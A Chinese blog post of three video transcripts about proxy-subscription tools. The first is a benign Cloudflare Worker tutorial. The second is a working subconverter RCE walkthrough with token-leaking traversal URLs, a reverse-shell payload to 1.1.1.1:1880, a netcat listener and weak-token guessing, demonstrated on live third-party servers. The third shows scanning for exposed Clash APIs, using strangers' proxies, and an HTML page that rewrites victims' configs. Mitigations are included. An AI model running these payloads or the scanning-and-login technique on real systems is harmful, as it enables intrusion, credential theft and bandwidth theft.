Total Pageviews

Thursday, 17 September 2026

永不被盗的订阅转换方法!使用worker搭建永久免费的私人反代订阅转换服务,新手小白必备

 项目地址:https://github.com/bulianglin/psub
CF Worker:https://cloudflare.com
前端界面:https://sub-web.netlify.app

环境变量名:BACKEND
KV或R2变量名:SUB_BUCKET

很多朋友搭建订阅转换的目的就是担心使用别人的订阅转换存在节点泄漏的隐私风险,但如果我跟你说用别人的订阅转换也能保证绝对不会泄漏节点信息呢?使cf的worker实现这个功能,非常简单并且永久免费
订阅转换相信大家都不陌生,可以将节点链接转换为clash,v2ray,surge、圈x等代理工具所使用的配置格式,不管是机场用户还是自建用户或多或少都使用过
而关于订阅转换很容易存在隐私问题,因为节点链接是比较隐私的个人数据,里面包含了你的服务器ip和节点的账号密码等信息,如果使用别人的订阅转换服务,就相当于你和别人共享了这些信息,他可以很轻易的获取和使用你的节点,我在之前的视频中有演示过,为了防止这种情况,有些朋友选择自己搭建订阅转换服务,但不是说自己搭建就安全了,甚至可能由于服务存在安全漏洞导致vps被黑客入侵,造成更严重的后果,上期视频中也讲过这个问题,而且对于基数最大的小白用户来讲自己搭建也不太现实,还有一种我在很早之前就介绍过的本地订阅转换教程,可以防止以上两个问题,但也并不完美,本地订阅转换的局限性在于每台设备都需要运行订阅转换工具,对很多手机用户来讲并不方便

难道就没有一种上手简单,又不用担心隐私问题的订阅转换方式吗?还真有,那就是直接使用别人的订阅转换服务,不过在转换之前先将节点的服务器ip和账号密码等信息改掉,等转换之后再改回来,这样就实现了上手简单,又不用担心节点泄漏了,这个方法是上期视频评论区有个小伙伴说的,我之前也没想过还有这种骚操作,果然个个都是人才,但如果只是手动修改的话,顶多算是一个骚操作,因为机场用户用这个方式并不方便,给我眼前一亮的主要是如果能实现自动化,这将是大部分普通用户最方便的订阅转换方式,所以根据这个灵感我做了psub的工具,利用cf免费提供的worker服务搭建私人订阅转换
其工作原理是在订阅转换的时候,首先你的节点信息会交给你自己搭建的worker服务,worker收到节点后会将服务器的ip地址和账号密码信息改成随机值,然后将这条虚假的节点信息转交给别人的转换服务,他的服务可以正常的给你转换节点,同时也获取到了你的虚假节点信息,对你来说没有任何影响,worker获取到转换结果后,再将其改成正确的服务器ip地址和账号密码,然后将转换结果返回给你,这样就实现了即使用别人的订阅转换也绝对不会泄漏节点信息了,worker扮演了中间人的角色,节点只会在worker处泄漏,但worker是你自己搭建的,四舍五入约等于没漏,你也不需要承担后端服务器可能存在的安全风险,而且这是一个双赢的局面,现在很多在线订阅转换提供的都是公益服务,你的节点被盗第一个想到的背锅对象就是他们,但可能你是在其他地方泄漏的,所以这个功能对于订阅转换提供者来说也是防背锅神器,但如果说有提供者以任何理由抵制这种方式,很明显他心里有鬼,因为这种方式对他们的服务器不会增加任何负担,唯一的区别就是他们无法获取到你的真实节点信息

接下来就是详细的搭建教程,操作非常简单,建议人手一个,首先打开github的项目地址,这些用到的信息我会放在视频下方的说明栏,打开这个worker.js文件,这就是我们搭建需要用到的代码,不需要修改任何地方,接着打开cloudflare,如果你没注册过的话先注册一个账号,只需要邮箱即可,注册非常傻瓜化我就不演示了,登陆之后可以先调整为中文界面,点击进入worker,如果你是第一次使用worker的话,选择免费计划即可,免费计划每天有10万个访问请求,足够了,跟着视频操作创建一个worker,随便给个名称,点击部署,接着编辑代码,复制刚才在github上打开代码,将worker里原来的演示代码清空,粘贴刚才复制的代码,点击右上角的保存并部署,然后返回到worker设置页面,如果此时直接访问会抛异常,因为还需要配置环境变量,跟着视频操作添加一个环境变量,变量名称要和我一样,填大写的BACKEND,值的话就填别人的订阅转换后端,随便找一个别人的在线订阅转换,点击生成订阅链接,可以在这里获取到后端地址,建议你先尝试这个后端能否能正常使用,然后将其填入这里即可,但是我这里为了给大家做演示,所以填入自己搭建的后端,注意worker不支持直接访问ip,也不支持非标端口,点击保存并部署,接着往下找到kv命名空间和r2存储桶绑定,两个都可以用,先演示比较方便的KV,kv每天有1000次的写入操作,每次订阅转换都会消耗1次左右,对个人用户也完全足够了,跟着演示创建KV命名空间,随便设置一个名称,回到刚才的设置页面,点击添加绑定,变量名称要和我一样,填写sub-bucket,选择刚才创建的命名空间,点击保存并部署,这样就设置好了,如果你觉得1000次写入不够用,可以使用下方的R2存储桶,kv和r2只能二选一,所以先删掉kv的变量,点击编辑,将其删掉,保存即可,点击查看r2计划,免费计划有10G存储空间,存储空间我们用不到,a类写入操作每月有100万次,b类读取操作每月有1000万次,用不完,根本用不完,相应的要比KV操作麻烦一点,需要绑定你的银行卡或者paypal,绑定是不要钱的,下方也有提示,只有你超出了使用量才会扣钱,输入你的账单信息,账户类型选择个人,点击订阅,跟着视频演示创建一个存储桶,随便给个名称,接着回到刚才的worker,添加绑定,变量名称需要和我填写一样,大写的sub-bucket,选中刚才创建的桶,点击保存并部署,此时就算是配置好了,你现在就已经有了一个专属的私人订阅转换服务了,非常简单,这个就是我的订阅转换后端网址,可以将其替换掉你以前用的订阅转换网址

为了方便给大家演示,我需要使用前端界面,前端的作用只是用来拼接url,虽然我之前也演示过一种利用前端盗取节点的方式,但一般情况下没人会这么做,因为我们可以看到被盗的过程,不像后端,我们是完全不知情的。在后端地址这里填入我们worker的域名,注意后面的sub不要删掉了,先来小试牛刀,将这个ss节点转换为clash的订阅格式,你也可以转换成他这里支持的任意格式,就和你以前的用法是完全一样的,并且还有一些新的用法,等会再来介绍,点击生成,可以看到后端是我们创建的worker网址,接着访问这条worker的订阅链接,同时注意观察我的订阅转换服务器上收到的请求,回车访问,成功转换成了clash的格式,并且我们在worker中设置的后端,也就是我这台搭建了订阅转换的vps上收到了刚才的ss节点信息,与直接使用他进行转换不同的是,他收到的ss节点实际上是无法使用的,可以看到clash中显示节点的服务器地址是zhihu.win,而订阅转换后端收到的是阿巴阿巴.com的随机地址,将节点复制出来,将密码部分decode,可以发现密码也变成了随机字符,而正确的密码应该是这个,ip和密码都被随机化了,这样就不用担心别人的后端会盗取你的节点信息了,他也不用给你背锅了。

再来尝试进行批量转换,同时转换ss ssr vmess trojan这四种协议的节点,和你平时一样用就行了,同样成功转换了,后端同样收到了节点信息,但是这些节点信息的服务器地址和密码都被随机化处理了,服务器收到的trojan密码是c99开头,而真实的密码是41b开头,服务器地址也是不一样的,包括vmess这种经过编码的数据,解码后,服务器收到的域名是随机的,密码也是cdc开头的随机id,可以看到完全不一样

再来尝试将vless+reality和hysteria节点转换为clash订阅,访问后转换并没有成功,因为官方版本的订阅转换默认不支持转换vless和hysteria节点,而我搭建的这个订阅转换用的就是官方版本,同时我的订阅转换后端收到了刚才的虚假节点信息,此时如果想要转换vless,需要使用meta版的订阅转换,以品云的为例,可以在右上角看到当前的版本是0.8.1官方版,切换为实验后端,右上角显示版本为0.8.2 meta版,这个版本可以转换vless和hysteria节点,点击生成订阅获取后端地址,你可以将这个后端地址替换掉我们在worker里设置的backend环境变量,也可以在订阅链接的最后加上&bd=,然后把网址粘贴上去,这样就会覆盖worker中设置的环境变量,在不方便登陆worker更换后端的情况下临时使用别的后端,回车访问,这样就能成功转换vless和hysteria节点了,可以看到这次我的后端没有收到节点信息,因为已经发到bd中设置的品云实验后端去了,他那边应该收到了我的虚假节点信息,要注意的是在链接后面加bd只是临时更换后端,不加的话就会默认使用worker中设置的后端

除了直接转换节点信息,当然也可以转换订阅信息,这也是大部分用户的转换方式,以本频道推荐的专线机场白月光为例,他家的节点是全专线中转,全节点解锁流媒体,掉线会及时修复,地区丰富,有需要的朋友可以考虑一下
复制订阅地址,进行转换为clash的操作,成功转换为了clash订阅,并且后端也收到了订阅地址,但我们可以看到这条订阅地址是我们worker的地址,而不是我机场的订阅地址,尝试访问这条链接,网页返回了一串编码数据,实际上大家根本看不到这个链接里的内容,因为我给大家的代码每次转换后就会立刻删掉数据,这里只是为了方便视频演示我并没有删掉,将其解码后,可以看到域名完全随机化了,并且密码也随机化了,我们收到的clash订阅却是正确的密码和网址,所以你转换机场订阅也不会泄漏正确的节点信息, 接着就可以按照常规操作,复制订阅地址,将其导入到clash中使用了

前两天我发了个无奖竞猜的预告,没有一个猜到点上,都被127的地址带到本地转换的坑里了,看样子你们都比较粗,没一个比我细的,其实可以看看这里,一般url后面跟上的要么是http开头的订阅地址,要么是ss vmess等开头的节点链接地址,而我这里是proxies开头,说明可以直接转换clash的节点格式,以刚才转换的ss节点为例,复制你需要转换的节点,要包含proxies这一行,并且必须以这一行作为开头,之后的订阅操作还是一样的,客户端选择ss,访问连接,这样就可以成功转换了,对于想将本地clash文件转换为v2ray使用的节点格式,这个功能还是非常实用的,另外也可以将v2ray这种经过base64编码的数据直接转换为其他格式,比如surge,唯一需要注意的是,直接转换clash的节点中不能包含英文的竖线符号,因为这个符号比较特殊,会导致无法解析,所以需要用这个功能的话建议使用文本工具替换掉所有的竖线符号

如果你有自己的域名,可以绑定到当前的worker,查看当前worker路由,只有一个默认的域名,点击添加路由,选择你自己的域名,前缀自己按需求设置,最后要加上/*,点击添加,还没完,进入你的域名设置DNS,添加一条A记录,名称填写刚才设置的前缀psub,地址随便设置一个,比如8.8.8.8,最关键的是代理要启用,否则不会路由到worker,点击保存,一般等待一会就会生效了,接着我们就可以尝试使用自己的域名使用订阅转换了,可以看到没有任何问题,本期搭建的这个订阅转换服务不会关闭,当作测试,你可以使用它,但我依然建议你自己搭建一个,信别人不如信自己

-------------

 小心你的节点被盗用!实战演示获取所有人的节点和机场订阅链接,使用在线订阅转换节点安全预警,Subconverter订阅转换工具接口泄漏配置文件token,导致RCE安全漏洞,所有版本统统中招


参考内容1:https://github.com/wm-team/WMCTF2022#subconverter
参考内容2:https://gist.github.com/CwithW/01a726e5af709655d6ee0b2067cdae03
相关代码

# qx-script接口(0.7.2-be878e1后被删除)
/qx-script?url=cHJlZi50b21s
/qx-script?url=cHJlZi55bWw
/qx-script?url=cHJlZi5pbmk

# convert接口(目前依然存在路径穿越到同目录下暴露配置token)
/convert?url=pref.toml
/convert?url=pref.ini
/convert?url=pref.yml

# 指令写入缓存目录
/sub?target=clash&url=http://1.1.1.1/payload

# payload
function parse(x){
    os.exec(["sh","-c","bash -i >& /dev/tcp/1.1.1.1/1880 0>&1"])
}

# 反弹shell:
控制端运行:nc -lvp 1880
网页访问:/sub?target=clash&url=script:cache/md5,1&token=password

解决方式:

    直接关闭缓存enable_cache=false(但还是会暴露token)
    升级到0.7.2-be878e1版本及以上,开启api_mode和强token密码,并且使用web中间件反代隐藏convert接口

    可以使用最新代码的编译版:https://github.com/tindy2013/subconverter/actions/workflows/build.yml,或者使用docker版:https://hub.docker.com/r/tindy2013/subconverter,或者使用meta的fork版:https://github.com/MetaCubeX/subconverter/releases/tag/Alpha
    最新版本的convert接口还是会暴露token,要用nginx、apache等web中间件进行反代隐藏接口(隐藏了接口也要开启api_mode和强token,防止盲打)


订阅转换相信大家都不陌生,可以将v2ray的节点分享链接格式转换为clash使用的订阅链接,或者将clash的订阅格式转换为v2ray使用的节点分享链接,也有人用来转换机场提供的默认clash配置,日常使用的频率非常高,而大部分用户为了方便,都是使用别人提供的订阅转换服务,常见的比如肥羊、品云、边缘等订阅转换,用这种第三方的转换会有隐私问题,因为他们可以在服务器后台看到你的节点信息,关于这个问题我早在1年前的视频中就给大家演示过,不过大家选择用他们的订阅转换就是对他们的信任,相信他们不会盗取你的节点信息,我也不是在质疑别人,只是为了说明存在这种情况,为了隐私安全你可能会自己搭建,或者使用机场提供的订阅转换服务,这样看上去是最安全的,毕竟机场可不会偷自己用户的节点,但如果服务器被人入侵那又是另一种情况了,目前订阅转换服务都是用subconverter这个开源项目搭建的,而subconverter存在RCE的安全风险,不管你目前用的是哪个版本,都可能导致服务器被黑客入侵,从而盗走所有人的节点信息
接下来就来实际演示一下该漏洞的危害,以及如何预防这个问题,事先声明,演示的目的在于让大家了解漏洞的危害以及如何预防此类问题,从而提高网络安全意识,并不是让大家去利用

为了更接近实战,我这里就以某一线机场自家的订阅转换服务器为例,已经打过招呼了,演示经过了许可,你买了他家的节点,并且使用他们提供的订阅转换,这种属于100%绝对信任,不会认为他会盗取你的节点信息。

首先打开这两个转换网站,这个页面相信用过订阅转换的朋友都不陌生,是最常见的订阅转换前端界面,一般我们会在这里填入自己的机场订阅地址或者节点信息,点击下方的生成订阅链接, 然后访问该地址,就可以将节点转换为clash的订阅了

复制订阅转换的后端地址,在后面加上/version,回车进行访问,网页返回了404,说明这个后端使用了web中间件进行反向代理,这种情况我们后面再说,换另一个订阅转换网站,先点击生成订阅得到后端地址,在网址后面加上/version进行访问,可以看到后端版本是0.7.2,这也是目前github项目里编译的最新版本,不管哪个版本都存在RCE的问题,只是利用方式不太一样
先演示第一种利用方式

通过这个接口可以获取到配置文件的内容,如果返回空页面,则换另一个,这就是subconverter的默认配置文件,这是由于路径穿越过滤不严谨导致配置文件内容泄漏,可以看到api_mode为true,并且暴露了关键的token值,他们的作用等会再来说明,来到最下方,如果enable cache为true,说明开启了缓存,只要开了缓存就大概率存在rce风险,如果这三条链接都无法获取到配置文件内容,后面还会演示其他方法

接着需要创建一条包含恶意指令的链接,并且将这条链接拼接到订阅转换网址,然后回车访问,网页返回了无法正常进行订阅转换,不用管,我们的目的只是将恶意指令文件写入到缓存目录中,服务器会以恶意指令的网址计算md5值当作文件名保存在缓存目录,可以跟着视频演示的方式将恶意指令的网址加密成md5,将这里的文本替换掉,然后复制这一段,将其编码为base64,替换掉原来的明文内容,复制所有内容,拼接到订阅转换的网址,回车访问,可以看到网页返回了一串代码,这串代码就是恶意指令网址里的内容,网页能正常显示,说明我们的指令已经成功写入了对方的缓存目录里,这条指令的意思是下载并执行这个网址里的脚本内容,而这个网址里的脚本内容是一个反弹shell的指令,目的是让对方服务器来连接我vps的1880端口,我先登陆我的vps服务器,然后执行这条指令监听1880端口,等待对方连接,目前恶意指令已经写入了对方的服务器,我们还需要触发执行,将刚才转换的md5替换掉这里的内容,意思是执行缓存目录下的这个文件的脚本内容,复制连接,将其拼接到订阅转换的网址中,当我回车访问的时候,右边的窗口,也就是我的vps会收到对方vps的shell,可以看到拿到了对方的root用户,我在这里执行的所有指令都是在对方的vps上执行的,比如查看当前目录下的文件,查看subconverter的配置文件内容,通过这个相同的token值,可以确定指令是在对方服务器上执行的,拿到了对方的root用户,接下来要获取对方的vps也就唾手可得了,通过一些手段我进入了他的服务器,查看服务器开启了哪些服务,可以看到开了两个订阅转换服务,amy和nex,也就是我们现在演示的这两个订阅转换网站,然后就可以查看该服务的日志信息了,你在用他们的服务进行订阅转换的同时,我在服务器上就能看到你的订阅连接或者节点信息,并且通过一些手段提取出来从而将其盗走,不过服务器都被拿下了,只用来偷节点有点大材小用

以上是实战演示,没有让对方配合,也就是说在常规配置下,利用subconverter的未授权RCE漏洞,我不需要填写token就可以执行任意脚本内容,从而入侵对方的服务器。

好消息是早在2022年4月4日提交的代码中,作者通过添加鉴权修复了这个漏洞,也就是要加上正确的token才能执行脚本,不过我们通过qx-script这个接口可以看到对方在配置文件中设置的token,所以还是可以利用,直到2022年8月22号提交的代码中删掉了qx-script的接口,也就无法通过这个接口暴露token了,坏消息是,目前github项目里最新的Releases版本是2022年4月3日编译的未修复漏洞的版本,所以部分提供公共订阅转换服务的站长用的还是这个版本,比如当前演示的这两个网站,以及很多人用的边缘订阅转换,都存在该漏洞,建议自己编译最新代码,或者使用docker版

还有一个注意事项,即使是最新代码,也只有在api_mode为true的情况下才需要正确的token,如果api_mode为false,则还是不需要token即可执行脚本,和之前没有区别,作者确认这不是漏洞,its feature,所以如果你是对外提供公共订阅转换服务,必须将api_mode设置为true,否则还是存在rce的风险,本地使用的话就没必要设置为true了,会导致无法转换本地文件

所以即使qx-script的接口被删了,或者使用nginx进行反向代理隐藏了qx-script接口,我们看不到对方的配置文件,也不清楚对方有没有开启api_mode和缓存,但依然可以通过盲打来尝试执行恶意指令,只要对方开启了缓存,并且api_mode为false,或者token是弱口令,就有可能导致rce的情况,以肥羊的订阅转换为例,相信很多人在用他家的,他家提供了多个后端,前两个是他自己的,下面的是别人的,点击生成订阅获取后端网址,先查看一下版本,显示0.9,不过官方目前最新的才0.7.2,很显然这是他自己编译改的,所以我们先来看看qx-script的接口是否还在,尝试访问这三条连接,三条都无法正常显示,但不代表无法利用,我们访问这条连接的目的只是为了确认是否开启了缓存,一般来讲都会开启,因为默认配置就是开启的,看不到的话就不看了,直接盲打,访问这条连接,将指令写入到服务器缓存目录,网页返回转换失败,我们不知道有没有成功写入,就当是成功了,接着访问这条连接触发指令执行,注意vps要先监听对应的1880端口,访问后如果成功连接了,说明开启了缓存,并且没有开启apimode,访问后发现没有反应,说明并没有成功触发,要么是没有开启缓存,要么是开启了api_mode,当开启了api_mode就需要加上正确的token,但我们并不知道token的值,所以只能猜,试试默认的弱口令password,在后面加上token=password试试,很幸运,成功连接到了对方vps的shell,可以在这里给对方的vps执行指令,所以他的配置应该开启了api_mode,token是默认的弱口令password,并且开启了缓存,可以看到确实是这样的,另外虽然他这里的不是root权限,但我仍然可以盗走你的节点信息

所以token建议不要使用弱口令,存在rce的风险
还没完,虽然qx-script的接口被删了,但这个convert的接口同样可以暴露配置文件的内容,目前还没有解决,也就是所有版本都存在这个问题,再看一下别人提供的订阅转换,这个是meta的分支版本0.8.2,这家也是某一线机场指定的订阅转换,同样也可以访问这个接口暴露对方的token,只要确认对方开启了缓存,并且拿到了token,拿下对方的vps也就八九不离十了

所以光有强token也没用,还是会直接暴露,目前那些公共的订阅转换服务有一大半存在这种情况,或许早就被利用了,视频中演示的这几个网站我会在视频发布之前进行提醒,其他的订阅服务提供者建议自行检查服务器相关安全项,目前推荐的做法是使用nginx反代,隐藏convert这个接口,或者干脆一点,直接关掉缓存服务,比如品云的订阅转换就是这么干的。不过这样对服务器的负担比较大

如果你是使用者,我更推荐使用本地订阅转换,早在两年前我就做过相关教程了。信别人不如信自己,彻底杜绝相关风险。

--------------------------------------

clash节点流量被偷光?获取大量免费高质量公共节点,警惕不当的配置导致你的电脑成为免费公共代理服务器,机场流量被偷跑光光,clash meta、openclash开启api鉴权避免滥用


相关链接

clash:https://fofa.info/result?qbase64=IntcImhlbGxvXCI6XCJjbGFzaFwifSI%3D

clash.meta:https://fofa.info/result?qbase64=IntcImhlbGxvXCI6XCJjbGFzaC5tZXRhXCJ9Ig%3D%3D

openclash:https://fofa.info/result?qbase64=cG9ydD0iOTA5MCIgJiYgYm9keT0ie1wibWVzc2FnZVwiOlwiVW5hdXRob3JpemVkXCJ9Ig%3D%3D


SwitchyOmega:https://chrome.google.com/webstore/detail/proxy-switchyomega/padekgcemlokbadohgkifijomclgjgif?hl=zh-CN


clash Dashboard:http://clash.razord.top

clash.meta Dashboard:http://clash.metacubex.one


#API授权验证

secret: 123456


#SOCKS/HTTP代理验证

authentication:

- user:pass


友情提醒html代码:

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8" />

    <title>友情提醒</title>

</head>

<body>

    <div id="result"></div>

    <script>

        const data = {

            payload: "allow-lan: false\nproxy-groups: \n  - name: 友情提醒\n    type: select\n    proxies:\n      - 你的Clash API暴露在公网,请注意防护\nproxies:\n  - name: 你的Clash API暴露在公网,请注意防护\n    type: ss\n    server: 1.1.1.1\n    port: 2222\n    cipher: aes-128-gcm\n    password: 666\n    udp: true"

        };

        fetch('http://127.0.0.1:9090/configs', {

                method: 'PUT',

                headers: {

                    'Content-type': 'application/json; charset=utf-8',

                    'Authorization': 'Bearer 123456' //clash鉴权头部

                },

                body: JSON.stringify(data),

            })

            .then(response => {

                if (response.status === 204) {

                    result.innerText = '提醒成功!';

                } else {

                    response.json()

                        .then(jsonData => {

                            result.innerText = '提醒失败!' + JSON.stringify(jsonData);

                        })

                }

            })

            .catch(error => {

                result.innerText = '执行失败!' + error.message;

            });

    </script>

</body>

</html>


clash是一个非常强大好用的代理工具,大部分机场用户都是使用clash,上手非常简单,一键导入即可使用,但也正因为上手简单,很多人都忽视了一些安全问题,导致自己的clash变成公共免费代理,本期就来讲讲如何使用别人的clash节点,以及如何避免这种情况在自己身上发生


三个月前我做过一期视频讲解clash通过api重载恶意指令配置导致RCE的安全问题,并且在视频的最后演示了公网上有很多未开启clash api授权的用户,提醒大家要设置密码,感兴趣的朋友可以回看,那期视频的播放量有40万,我感觉应该会有很多人重视这个问题,于是我这两天再搜索了一下,发现开放clash api的人数从原来的8000多变成了1万多(什么情况,发生什么事了),clash meta也从原来的700上升到了1000多,为了引起大家的足够重视,本期就来实际演示一下这些人的机场流量是怎么被别人偷跑的,其实我上次已经比较隐晦的提了一嘴,看样子并没有引起大家的注意。


首先打开这个网址获取开放了了clash api的用户,这些用到的信息我会放在视频下方的说明栏,可以切换到中国地区获取更准确的数据,随便打开一个,网页返回了hello clash,说明这个用户开放了clash api,这里搜索出来的大部分都可以正常打开,接着进入clash的dashboard,以这个ip为例,复制ip和端口,跟着视频演示将ip和端口填入到dashboard中,点击确定,成功连接到了别人的clash,相当于我正在直接操控别人电脑里的clash,可以查看他的访问日志,分流规则、连接状态等信息,来到设置页面,可以看到http的代理端口是7890,socks的代理端口是7891,相当于别人的电脑使用clash开启了免费的公共http和socks代理,我们连上他的代理端口应该就能直接使用了,使用浏览器插件SwitchyOmega来完成这个操作,服务器填入刚才的ip,端口填写http的7890,如果你要用socks就填7891,点击应用,切换到刚才配置的代理,尝试访问百度,访问失败,因为并不是所有开放了clash api端口就一定开放了代理端口,所以这个ip不能正常代理,但我们可以看到左下角显示了他的clash版本是1.14,这个版本没有修复路径穿越,并且由于是公网环境,我们可以主动提交恶意指令到他电脑里的任意位置,不需要像内网一样必须让他打开某个网址被动触发,不过这不是我们本期的内容,而且这种侵入行为是违法的,我不能演示也提醒大家不要去尝试。


既然这个不能用的话换一个即可,这里有上万个目标,能用的概率还是很大的,同样输入ip和端口,同样成功连接了别人的clash,http代理端口也是7890,填入到浏览器插件中,成功访问到了百度,说明这个代理可以正常使用,再来尝试访问谷歌,也没有问题,并且速度还挺快,这个ip归属地在上海,尝试切换节点,换一个新加坡的,操作逻辑和clash for windows是一样的,因为他们都是调用clash的api接口,可以点击这里打断所有连接,再测试的话就显示新加坡的ip了,可以在这里看到当前连接的网址,现在的网络拓扑相当于我的电脑连接到了别人电脑里clash开启的http代理,我访问网站的请求会交给别人电脑里的clash处理,这就是利用别人的clash节点进行科学上网的方式,也是他们的流量被偷跑的主要原因之一,看到这里估计又有人要大骂clash了,但这并不是clash的问题,clash的官方文档也强调了api暴露在公网必须设置授权密码,只是很多人并没有在意,也没有意识到已经暴露在公网了,至于怎么解决我们等会再细说


再来尝试几个,确定可以正常显示hello clash,将ip和端口填入,又可以连接到别人的clash了,也可以给他的节点扯个延迟,注意这个延迟是节点到他电脑的延迟,而不是到你本地的延迟,同样http端口是7890,填入ip,刷新网页发现无法访问,可以看到这里没有开启允许局域网连接,启用他,重新访问,可以正常访问,这是一个杭州的ip,并且连接了香港的节点,再换一个试试,同样可以连接,端口同样是7890,可以正常使用,连接了台湾的节点,尝试切换一个新加坡的节点,同样没有问题,能用的概率还是很大的,不过等你看到这个教程之后能用的概率估计就大打折扣了,本身我的目的主要在于提醒大家预防此类问题,而不是让大家去利用


再来试试meta内核,也有一千多个用户,如果可以用,打开连接后会显示hello clash meta,接着打开meta内核专用的dashboard,界面不太一样,但操作和clash是一样的,填入ip和端口,来到设置页面,这里没有单独设置http代理端口,你可以手动填入一个,也可以直接使用这个7890的混合代理端口,意思是http和socks通用的端口,尝试访问,这个无法使用,换一个再试试,这个可以使用,这个是香港的用户,连接了韩国的节点,应该是clash搭建在香港的vps上,有没有人知道这是什么奇怪的操作?再试一个,这个也没问题,中国用户连接了美国的节点


最后再试试软路由上常用的openclash插件,之前那期视频中有一个高赞评论,这位朋友的观点是错误的,openclash默认是有弱口令鉴权的,所以默认搜索到的大部分都不是openclash,另外openclash对路径穿越并没有什么特殊的防护,如果使用未修复的clash版本,同样可以将恶意文件写入到软路由的任意位置


打开这个连接,有三万多条结果,还是在指定了端口为默认的9090情况下,这些有很大一部分是openclash,随便打开一个连接,显示 ,表示未通过授权,因为openclash默认开启了api鉴权,但默认密码是123456,很多用户没有修改默认密码的习惯,约等于没开鉴权,所以也有利用空间,和刚才的操作一样,填入ip和端口,如果此时直接点击确定的话是没有反应的,因为密码不正确,填入默认密码123456,再次点击确定,如果还是没有反应说明密码不正确,换一个,可以看到这个使用默认密码可以直接登陆,大概率是使用openclash,也就是我们登陆了别人软路由里的clash,这个的节点质量不怎么样,换一个,这个不行,这个又可以,所以概率同样很大,这个节点质量不错,可以试试他的代理,刷新网页后弹出了账号密码登录框,说明这个用户的http代理设置了鉴权,换一个,点击确定没反应,也有可能他的openclash用的是meta内核,所以也可以用meta的面板试试,同样不行,说明确实是密码不对,总之就是这样一个个去尝试,openclash的话裸奔的概率要低一点,毕竟是软路由用户,相对来讲会比较注意一点,另外我们可以观察到大部分人用的代理端口都是默认的7890,所以我们可以完全不用检查api是否开放,直接尝试代理是否可以连接,有的时候即使api没开放,也可能开放了代理端口,这个可以使用,是深圳的用户连接了台湾的节点,也可以参考我之前获取反代cf的教程批量导出这些ip,就不用一个个试了,这个也可以正常使用


造成这个问题的原因就是你将clash的api接口暴露到了公网,并且没有设置授权密码,要防止接口暴露到公网需要配置防火墙,由于每个人的设备都不一样,软路由,开发板,电脑主机,三者配防火墙的方式都不一样,全部演示的话有点麻烦,以后单独花篇幅讲解,本期我们主要演示开启clash的api授权,这样即使暴露在公网,也不用担心别人强制和你连接,操作也比较简单


如果你是手机用户,默认不存在这个问题,不用担心

如果你是在电脑里运行clash for windows这种图形化客户端的用户,也不用担心接口暴露问题,因为你的电脑大概率没有公网ip,即使有,clash for windows也不会将api接口暴露给公网,如果你不需要将网络共享给局域网的其他设备,可以关闭allow lan的选项,如果你需要共享,那建议你不要使用默认的7890端口,防止有人全网扫7890,这样设置之后就不用担心了


列表中搜索到的未授权clash大部分都不是上面两种情况,更可能是用开发板或者虚拟机直接跑clash内核做网关代理,但是直接跑内核做网关代理的用户算是比较高阶了,没理由会犯这种低级错误,所以我也不太清楚这部分的用户是什么成分,有了解的朋友可以在评论区给大家分享,我这里就当他们是直接跑内核,没有在配置文件中添加api授权导致的,因为我们在机场下载的clash订阅文件或者通过订阅转换获取到的clash配置,默认都不会有授权密码,如果你直接拿这个配置去跑内核的话,大概率在公网是裸奔的状态,解决这种情况需要在配置文件中加入这两段语句,secret就是api的授权密码,建议设置的复杂一点,防止被人穷举,下面就是http代理和socks代理的授权密码,也就是刚才浏览器弹出的登陆框,只要设置了这两个授权密码,即使暴露在公网别人也连接不到你,不用担心流量被别人偷跑,将这两段顶格插入到你的clash配置文件里,保存后,重新使用你的clash内核加载这个配置即可


如果你是openclash的用户,首先进入全局设置,勾选仅允许内网,然后直接应用配置即可,这样的话别人就不能从公网连接到你的clash了,但同样的你自己在外面也连接不到家里的clash,如果你有公网访问的需求,那就不能勾选,需要设置授权密码,来到外部控制,将默认的123456弱口令api授权改成自定义密码,来到最下面,添加一个socks/http认证,设置账号和密码,然后应用配置,这样通过公网连接家里的api接口或者socks代理就需要填写密码了。可以防止成为公共的免费节点


其实很多人没有暴露是因为运营商没有给他分配公网ip,如果大部分人都有公网ip的话,这个问题会更严峻,所以希望大家都能提高这方面的防范意识。视频中演示所有成功连接的代理ip我均通过之前讲过的方式做了友情提醒,防止被人滥用,再次重申我的目的并不是让大家去滥用这些代理,而是提醒大家要注意此类问题。另外这个问题是用户本身使用不当造成的,和clash没有关系,请大家理性发言。

No comments:

Post a Comment